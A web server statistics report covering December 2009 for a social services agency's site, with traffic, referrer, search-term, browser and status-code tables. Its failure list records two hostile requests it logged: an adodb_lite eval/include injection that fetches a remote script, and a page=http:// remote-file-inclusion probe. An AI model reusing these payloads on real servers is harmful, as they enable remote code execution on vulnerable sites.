Program started on Fri, Jan 01 2010 at 6:10 AM.
Analyzed requests from Tue, Dec 01 2009 at 12:29 AM to Fri, Jan 01 2010 at 12:08 AM (30.99 days).
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Figures in parentheses refer to the 7-day period ending Jan 01 2010 at 6:10 AM.
Successful requests: 124,624 (17,579)
Average successful requests per day: 4,021 (2,511)
Successful requests for pages: 70,471 (10,890)
Average successful requests for pages per day: 2,274 (1,555)
Failed requests: 3,060 (75)
Redirected requests: 313 (4)
Distinct files requested: 1,312 (431)
Distinct hosts served: 4,484 (281)
Data transferred: 2.57 gigabytes (374.20 megabytes)
Average data transferred per day: 84.87 megabytes (53.46 megabytes)
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Each unit () represents 500 requests for pages or part thereof.
week beg. | #reqs | #pages | |
---|---|---|---|
Nov/29/09 | 26949 | 14867 | ![]() ![]() ![]() ![]() |
Dec/ 6/09 | 32918 | 18309 | ![]() ![]() ![]() |
Dec/13/09 | 29525 | 16277 | ![]() ![]() |
Dec/20/09 | 20556 | 12175 | ![]() ![]() ![]() |
Dec/27/09 | 14676 | 8843 | ![]() ![]() |
Busiest week: week beginning Dec/ 6/09 (18,309 requests for pages).
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Each unit () represents 100 requests for pages or part thereof.
date | #reqs | #pages | |
---|---|---|---|
Dec/ 1/09 | 6850 | 3675 | ![]() ![]() ![]() |
Dec/ 2/09 | 7133 | 3868 | ![]() ![]() ![]() ![]() |
Dec/ 3/09 | 5845 | 3037 | ![]() ![]() ![]() ![]() ![]() |
Dec/ 4/09 | 4201 | 2423 | ![]() ![]() ![]() |
Dec/ 5/09 | 2920 | 1864 | ![]() ![]() ![]() |
Dec/ 6/09 | 3247 | 1764 | ![]() ![]() |
Dec/ 7/09 | 6029 | 3122 | ![]() |
Dec/ 8/09 | 5623 | 3199 | ![]() |
Dec/ 9/09 | 6355 | 3290 | ![]() ![]() |
Dec/10/09 | 5153 | 2851 | ![]() ![]() ![]() ![]() |
Dec/11/09 | 4266 | 2661 | ![]() ![]() ![]() ![]() |
Dec/12/09 | 2245 | 1422 | ![]() ![]() ![]() ![]() |
Dec/13/09 | 2363 | 1388 | ![]() ![]() ![]() |
Dec/14/09 | 6229 | 2954 | ![]() ![]() ![]() ![]() |
Dec/15/09 | 4835 | 2633 | ![]() ![]() ![]() ![]() |
Dec/16/09 | 4202 | 2134 | ![]() ![]() ![]() |
Dec/17/09 | 5634 | 3169 | ![]() |
Dec/18/09 | 3944 | 2379 | ![]() ![]() |
Dec/19/09 | 2318 | 1620 | ![]() ![]() |
Dec/20/09 | 2423 | 1495 | ![]() ![]() ![]() ![]() |
Dec/21/09 | 5306 | 2834 | ![]() ![]() ![]() ![]() |
Dec/22/09 | 4769 | 2446 | ![]() ![]() ![]() |
Dec/23/09 | 3388 | 1951 | ![]() ![]() |
Dec/24/09 | 1536 | 1190 | ![]() ![]() |
Dec/25/09 | 1516 | 1175 | ![]() ![]() |
Dec/26/09 | 1618 | 1084 | ![]() ![]() ![]() |
Dec/27/09 | 1753 | 1237 | ![]() ![]() ![]() |
Dec/28/09 | 3404 | 2001 | ![]() ![]() ![]() |
Dec/29/09 | 3493 | 2058 | ![]() ![]() ![]() |
Dec/30/09 | 3368 | 1956 | ![]() ![]() |
Dec/31/09 | 2652 | 1585 | ![]() |
Jan/ 1/10 | 6 | 6 | ![]() |
Busiest day: Dec/ 2/09 (3,868 requests for pages).
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Each unit () represents 400 requests for pages or part thereof.
day | #reqs | #pages | |
---|---|---|---|
Sun | 9786 | 5884 | ![]() ![]() ![]() ![]() |
Mon | 20968 | 10911 | ![]() ![]() ![]() |
Tue | 25570 | 14011 | ![]() ![]() |
Wed | 24446 | 13199 | ![]() ![]() |
Thu | 20820 | 11832 | ![]() ![]() ![]() ![]() |
Fri | 13933 | 8644 | ![]() ![]() ![]() |
Sat | 9101 | 5990 | ![]() ![]() ![]() ![]() |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Each unit () represents 150 requests for pages or part thereof.
hour | #reqs | #pages | |
---|---|---|---|
0 | 2025 | 1374 | ![]() ![]() |
1 | 2077 | 1712 | ![]() ![]() |
2 | 1862 | 1408 | ![]() ![]() |
3 | 2260 | 1560 | ![]() ![]() ![]() |
4 | 3196 | 1915 | ![]() ![]() ![]() |
5 | 5334 | 2954 | ![]() ![]() |
6 | 8167 | 4394 | ![]() ![]() ![]() ![]() |
7 | 8995 | 4817 | ![]() ![]() |
8 | 8424 | 4509 | ![]() ![]() ![]() ![]() ![]() |
9 | 7929 | 4383 | ![]() ![]() ![]() ![]() |
10 | 8157 | 4511 | ![]() ![]() ![]() ![]() ![]() |
11 | 8146 | 4481 | ![]() ![]() ![]() ![]() |
12 | 8325 | 4099 | ![]() ![]() ![]() |
13 | 7789 | 4121 | ![]() ![]() ![]() |
14 | 5363 | 3036 | ![]() ![]() ![]() |
15 | 5459 | 3150 | ![]() ![]() ![]() |
16 | 5509 | 3180 | ![]() ![]() ![]() |
17 | 5162 | 2674 | ![]() ![]() |
18 | 4970 | 2774 | ![]() ![]() ![]() |
19 | 4336 | 2484 | ![]() ![]() |
20 | 3408 | 2010 | ![]() ![]() ![]() |
21 | 3095 | 1906 | ![]() ![]() ![]() |
22 | 2750 | 1654 | ![]() ![]() |
23 | 1886 | 1365 | ![]() ![]() |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing the top 20 organizations by the number of requests, sorted by the number of requests.
#reqs | %bytes | organization |
---|---|---|
13304 | 8.28% | 99 |
9021 | 2.04% | 65.55 |
6754 | 4.57% | 98 |
6304 | 4.36% | 69 |
5909 | 4.55% | 76 |
5502 | 13.64% | 67.195 |
5327 | 4.09% | 68.40 |
4494 | 3.20% | 71 |
4134 | 0.64% | 64.109 |
3529 | 2.81% | 75 |
2233 | 0.48% | 68.73 |
1966 | 1.55% | 68.42 |
1584 | 1.04% | 198.108 |
1499 | 5.79% | 77 |
1372 | 1.20% | 12 |
1311 | 0.61% | 72 |
1264 | 1.87% | 74 |
1235 | 1.59% | 66.249 |
1224 | 0.06% | 174.36 |
1212 | 0.68% | 68.62 |
45446 | 36.95% | [not listed: 1,122 organizations] |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing the top 20 hosts by the number of requests, sorted by the number of requests.
#reqs | %bytes | host |
---|---|---|
6364 | 3.22% | 99.20.48.254 |
4133 | 0.64% | 64.109.113.126 |
2542 | 5.33% | 67.195.111.249 |
1698 | 1.05% | 98.243.24.70 |
1526 | 0.63% | 69.129.106.146 |
1482 | 2.37% | 67.195.115.58 |
1471 | 5.93% | 67.195.112.243 |
1320 | 0.80% | 198.108.4.105 |
1228 | 1.75% | 68.40.86.12 |
1183 | 0.33% | 71.238.14.156 |
1145 | 0.80% | 98.209.104.25 |
1010 | 0.59% | 141.214.17.5 |
928 | 0.25% | 68.40.121.188 |
887 | 0.48% | 69.220.239.6 |
774 | 3.30% | 77.88.30.247 |
722 | 0.37% | 204.38.4.80 |
646 | 0.08% | 99.29.196.57 |
636 | 0.12% | 68.73.52.199 |
596 | 0.10% | 68.73.204.9 |
550 | 0.15% | 68.62.103.219 |
93783 | 71.71% | [not listed: 4,464 hosts] |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing the top 20 referring URLs by the number of failed requests, sorted by the number of failed requests.
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing the top 50 referring URLs by the number of requests, sorted by the number of requests.
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing the top 20 referring sites by the number of requests, sorted by the number of requests.
#reqs | site |
---|---|
1380 | http://www.google.com/ |
439 | http://images.google.com/ |
273 | http://www.ncdsv.org/ |
233 | http://theamericanrepublic.us/ |
228 | http://www.bing.com/ |
204 | http://search.yahoo.com/ |
130 | http://www.sodahead.com/ |
102 | http://www.fpjhp.org/ |
70 | http://translate.googleusercontent.com/ |
39 | http://images.google.co.in/ |
36 | http://www.detroitkit.com/ |
36 | http://www.ontowns.com/ |
35 | http://images.google.ca/ |
35 | http://www.medicaltowns.com/ |
33 | http://www.arborweb.com/ |
31 | http://image.baidu.jp/ |
25 | http://74.125.155.132/ |
24 | http://images.google.co.uk/ |
23 | http://www.myspace.com/ |
20 | http://www.mare.org/ |
783 | [not listed: 242 sites] |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing the top 20 queries by the number of requests, sorted by the number of requests.
#reqs | search term |
---|---|
149 | catholic social services |
110 | catholic social services ann arbor |
75 | catholic social services michigan |
73 | catholic social services washtenaw |
68 | csswashtenaw.org |
62 | catholic social services of washtenaw county |
48 | catholic social services ann arbor mi |
30 | catholic social services washtenaw county |
27 | css washtenaw |
25 | washtenaw catholic social services |
13 | alternatives to domestic aggression |
13 | www.csswashtenaw.org |
12 | catholic social services ann arbor michigan |
10 | ann arbor catholic social services |
9 | catholic social services in ann arbor |
9 | rsvp of washtenaw county |
9 | quality plan |
9 | css catholic social services ann arbor |
9 | catholic social services mi |
8 | washtenaw county catholic social services |
911 | [not listed: 695 search terms] |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing the top 40 browsers by the number of requests for pages, sorted by the number of requests.
#reqs | #pages | browser |
---|---|---|
8230 | 8230 | msnbot/2.0b (+http://search.msn.com/msnbot.htm) |
5439 | 5117 | Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp) |
3889 | 1731 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; msn OptimizedIE8;ENUS) |
2667 | 1174 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) |
2357 | 2357 | Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Spinn3r (Spinn3r 3.1); http://spinn3r.com/robot) Gecko/20021130 |
1899 | 526 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) |
1806 | 813 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 |
1583 | 695 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729) |
1551 | 929 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) |
1388 | 542 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) |
1387 | 1387 | Yandex/1.01.001 (compatible; Win16; I) |
1362 | 575 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729) |
1290 | 803 | Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.15) Gecko/2009101601 Firefox/3.0.15 (.NET CLR 3.5.30729) |
1246 | 488 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) |
1200 | 581 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) |
1197 | 758 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.15) Gecko/2009101601 Firefox/3.0.15 (.NET CLR 3.5.30729) |
1175 | 503 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6.3; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729) |
1070 | 561 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 |
1007 | 552 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.15) Gecko/2009101601 Firefox/3.0.15 |
972 | 461 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) |
967 | 935 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
942 | 396 | Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729) |
918 | 357 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; GTB6.3; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) |
834 | 633 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SpamBlockerUtility 4.8.4) |
815 | 331 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 |
794 | 336 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 |
765 | 511 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729) |
714 | 324 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) |
686 | 367 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1) |
586 | 586 | Mozilla/5.0 (compatible; ScoutJet; +http://www.scoutjet.com/) |
571 | 571 | AppleSyndication/56.1 |
535 | 440 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MCIT1.0) |
505 | 443 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6.3; InfoPath.1; .NET CLR 1.1.4322) |
503 | 503 | Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/) |
488 | 487 | Java/1.6.0_04 |
484 | 479 | Mozilla/5.0 (compatible; heritrix/1.14.3 +http://www.accelobot.com) |
475 | 421 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) |
466 | 378 | Mozilla/4.0 |
372 | 372 | Mozilla/5.0 (compatible; DotBot/1.1; http://www.dotnetdotcom.org/, crawler@dotnetdotcom.org) |
342 | 342 | Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com) |
68834 | 32247 | [not listed: 2,134 browsers] |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests.
# | #reqs | #pages | browser |
---|---|---|---|
1 | 67505 | 29168 | MSIE |
27582 | 11848 | MSIE/8 | |
25313 | 9828 | MSIE/7 | |
14500 | 7395 | MSIE/6 | |
109 | 96 | MSIE/5 | |
1 | 1 | MSIE/2 | |
2 | 20640 | 10276 | Firefox |
20116 | 10032 | Firefox/3 | |
493 | 219 | Firefox/2 | |
16 | 16 | Firefox/1 | |
1 | 1 | Firefox/0 | |
3 | 9614 | 9106 | Netscape (compatible) |
4 | 8337 | 8337 | msnbot |
8230 | 8230 | msnbot/2 | |
107 | 107 | msnbot/1 | |
5 | 7386 | 3397 | Safari |
3892 | 1731 | Safari/531 | |
1746 | 837 | Safari/532 | |
800 | 417 | Safari/525 | |
539 | 246 | Safari/528 | |
220 | 53 | Safari/530 | |
92 | 50 | Safari/312 | |
72 | 39 | Safari/523 | |
14 | 14 | Safari/YY | |
6 | 6 | Safari/419 | |
2 | 2 | Safari/51 | |
6 | 3420 | 3182 | Mozilla |
46 | 16 | Mozilla/1 | |
7 | 1512 | 1512 | Yandex |
1512 | 1512 | Yandex/1 | |
8 | 1341 | 1340 | Java |
1341 | 1340 | Java/1 | |
9 | 571 | 571 | AppleSyndication |
571 | 571 | AppleSyndication/56 | |
10 | 503 | 503 | Speedy Spider (http: |
503 | 503 | Speedy Spider (http://www | |
11 | 496 | 496 | Baiduspider+(+http: |
492 | 492 | Baiduspider+(+http://www | |
4 | 4 | Baiduspider+(+http://help | |
12 | 473 | 385 | Netscape |
467 | 379 | Netscape/4 | |
5 | 5 | Netscape/3 | |
1 | 1 | Netscape/0 | |
13 | 273 | 273 | Apple-PubSub |
273 | 273 | Apple-PubSub/65 | |
14 | 217 | 217 | Sosospider+(+http: |
217 | 217 | Sosospider+(+http://help | |
15 | 118 | 118 | Feedfetcher-Google; (+http: |
118 | 118 | Feedfetcher-Google; (+http://www | |
16 | 109 | 53 | Opera |
19 | 19 | Opera/7 | |
69 | 18 | Opera/9 | |
20 | 15 | Opera/8 | |
1 | 1 | Opera/6 | |
17 | 83 | 83 | Sogou web spider |
83 | 83 | Sogou web spider/4 | |
18 | 82 | 82 | UHACPJDAIX |
19 | 64 | 64 | SaladSpoon |
64 | 64 | SaladSpoon/ShopSalad | |
20 | 56 | 56 | Linguee Bot (http: |
56 | 56 | Linguee Bot (http://www | |
1511 | 1023 | [not listed: 105 browsers] |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing operating systems, sorted by the number of requests for pages.
# | #reqs | #pages | OS |
---|---|---|---|
1 | 87587 | 39370 | Windows |
58472 | 26367 | Windows XP | |
23835 | 9943 | Unknown Windows | |
3891 | 2376 | Windows 2000 | |
1103 | 530 | Windows Server 2003 | |
191 | 93 | Windows 98 | |
28 | 28 | Windows NT | |
39 | 13 | Windows CE | |
21 | 13 | Windows ME | |
7 | 7 | Windows 95 | |
2 | 19243 | 18680 | Known robots |
3 | 8789 | 8229 | OS unknown |
4 | 7902 | 3646 | Macintosh |
5 | 787 | 315 | Unix |
686 | 222 | Linux | |
82 | 82 | AIX | |
15 | 7 | Other Unix | |
4 | 4 | SunOS | |
6 | 3 | 2 | Symbian OS |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing status codes, sorted numerically.
#reqs | status code |
---|---|
101595 | 200 OK |
1203 | 206 Partial content |
313 | 301 Document moved permanently |
21826 | 304 Not modified since last retrieval |
1 | 401 Authentication required |
2873 | 404 Document not found |
14 | 405 Method not allowed |
50 | 416 Requested range not valid |
122 | 503 Service temporarily unavailable |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing extensions, sorted by the number of requests.
#reqs | %bytes | extension |
---|---|---|
43408 | 7.58% | .php [PHP] |
32806 | 4.59% | .gif [GIF graphics] |
18754 | 37.08% | .jpg [JPEG graphics] |
9566 | 1.33% | [directories] |
4824 | 43.77% | .pdf [Adobe Portable Document Format] |
4703 | 0.64% | .html [Hypertext Markup Language] |
3844 | 0.04% | .ico |
2948 | 0.04% | .txt [Plain text] |
1390 | 0.11% | .css [Cascading Style Sheets] |
929 | 0.05% | .htm [Hypertext Markup Language] |
804 | 3.17% | .JPG |
388 | 0.03% | .js [JavaScript code] |
173 | 1.14% | .doc [Microsoft Word document] |
31 | 0.05% | .dot |
29 | 0.21% | |
14 | 0.17% | .au |
11 | 0.01% | .png [PNG graphics] |
1 | .LOG | |
1 | .htc |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing directories, sorted by the number of requests.
#reqs | %bytes | directory |
---|---|---|
57302 | 9.40% | [root directory] |
29422 | 29.15% | /ada/ |
26690 | 3.83% | /images/ |
5751 | 54.56% | /uploads/ |
875 | 0.30% | /cav/ |
761 | 0.16% | /admin/ |
691 | 0.06% | /modules/ |
657 | 0.64% | /bhs/ |
626 | 0.82% | /adoption/ |
592 | 0.01% | /grandparents/ |
341 | 0.05% | /fpjhp/ |
214 | 0.29% | /basp/ |
197 | 0.01% | /lib/ |
187 | 0.30% | /renew/ |
115 | /services/ | |
96 | 0.16% | /mpri/ |
55 | /survey/ | |
20 | 0.01% | /htjs/ |
15 | 0.24% | /documents/ |
13 | /gap/ | |
4 | http:// |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing the top 10 files by the number of failed requests, sorted by the number of failed requests.
#reqs | file |
---|---|
361 | /uploads/images/Father%2520Pat0BEST).jpg |
161 | /fpjhp/index.php |
39 | /fpjhp/index.php?page=employment |
29 | /fpjhp/index.php?page=make-a-difference |
25 | /fpjhp/index.php?page=site-map |
24 | /fpjhp/index.php?page=resources-and-links |
24 | /fpjhp/index.php?page=secure-login |
20 | /fpjhp/index.php?page=privacy |
121 | /ada/about/favicon.ico |
121 | /ada/about/favicon.gif |
109 | /bhs/index.php |
23 | /bhs/index.php?page=secure-login |
21 | /bhs/index.php?page=resources-and-links |
19 | /bhs/index.php?page=privacy |
18 | /bhs/index.php?page=make-a-difference |
14 | /bhs/index.php?page=employment |
14 | /bhs/index.php?page=site-map |
108 | /lib/adodb_lite/adodb-perf-module.inc.php |
12 | /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class zZz_ADOConnection{}//&w=include($_GET[a]);&a=http://www.chicagofc.co.kr/fitness/data/come/fx29id1.txt?? |
102 | /modules/FCKeditorX/images/bg.gif |
94 | /index.php |
34 | /index.php?page=http://217.218.225.2:2082/index.html? |
72 | /ada/favicon.ico |
67 | / |
1744 | [not listed: 193 files] |
(Go To: Top | General Summary | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Organization Report | Host Report | Failed Referrer Report | Referrer Report | Referring Site Report | Search Query Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Type Report | Directory Report | Failure Report | Request Report)
Listing the top 30 files by the number of requests, sorted by the number of requests.